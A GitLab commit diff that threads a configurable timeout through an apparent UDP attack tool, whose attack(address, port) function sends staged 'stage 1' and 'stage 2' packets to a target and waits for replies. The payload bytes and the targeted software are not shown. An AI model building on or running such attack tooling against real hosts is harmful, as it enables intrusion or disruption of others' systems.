Commit 5f6228c5 authored by nanahira's avatar nanahira

add timeout

parent 969d1860
...@@ -26,7 +26,7 @@ function sendMessage(socket: any, message: number[]): Promise<any> { ...@@ -26,7 +26,7 @@ function sendMessage(socket: any, message: number[]): Promise<any> {
}); });
} }
function waitForReply(socket: any, intervalMessage: number[]): Promise<boolean> { function waitForReply(socket: any, timeout: number, intervalMessage: number[]): Promise<boolean> {
const intv = setInterval(sendMessage, 500, socket, intervalMessage); const intv = setInterval(sendMessage, 500, socket, intervalMessage);
return new Promise(done => { return new Promise(done => {
socket.once("message", (msg: Buffer, rinfo: any) => { socket.once("message", (msg: Buffer, rinfo: any) => {
...@@ -38,11 +38,11 @@ function waitForReply(socket: any, intervalMessage: number[]): Promise<boolean> ...@@ -38,11 +38,11 @@ function waitForReply(socket: any, intervalMessage: number[]): Promise<boolean>
setTimeout(() => { setTimeout(() => {
clearInterval(intv); clearInterval(intv);
done(false); done(false);
}, 10000); }, timeout);
}); });
} }
export async function attack(address: string, port: number): Promise<string> { export async function attack(address: string, port: number, timeout: number): Promise<string> {
const socket = dgram.createSocket("udp4"); const socket = dgram.createSocket("udp4");
let err; let err;
err = await new Promise(done => { err = await new Promise(done => {
...@@ -56,7 +56,7 @@ export async function attack(address: string, port: number): Promise<string> { ...@@ -56,7 +56,7 @@ export async function attack(address: string, port: number): Promise<string> {
return `Failed to send stage 1: ${err.toString()}`; return `Failed to send stage 1: ${err.toString()}`;
} }
//console.log("Waiting for reply..."); //console.log("Waiting for reply...");
if (!await waitForReply(socket, messageStage1)) { if (!await waitForReply(socket, timeout, messageStage1)) {
return `Empty reply.`; return `Empty reply.`;
} }
err = await sendMessage(socket, messageStage2); err = await sendMessage(socket, messageStage2);
......
...@@ -39,7 +39,7 @@ async function startAttack(address: string, port: number): Promise<boolean> { ...@@ -39,7 +39,7 @@ async function startAttack(address: string, port: number): Promise<boolean> {
return false; return false;
} }
log.info(`Attack of ${address}:${port} started.`); log.info(`Attack of ${address}:${port} started.`);
const err = await attack(address, port); const err = await attack(address, port, config.attackTimeout);
if (err) { if (err) {
log.warn(`Attack of ${address}:${port} failed: ${err}`); log.warn(`Attack of ${address}:${port} failed: ${err}`);
} else { } else {
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment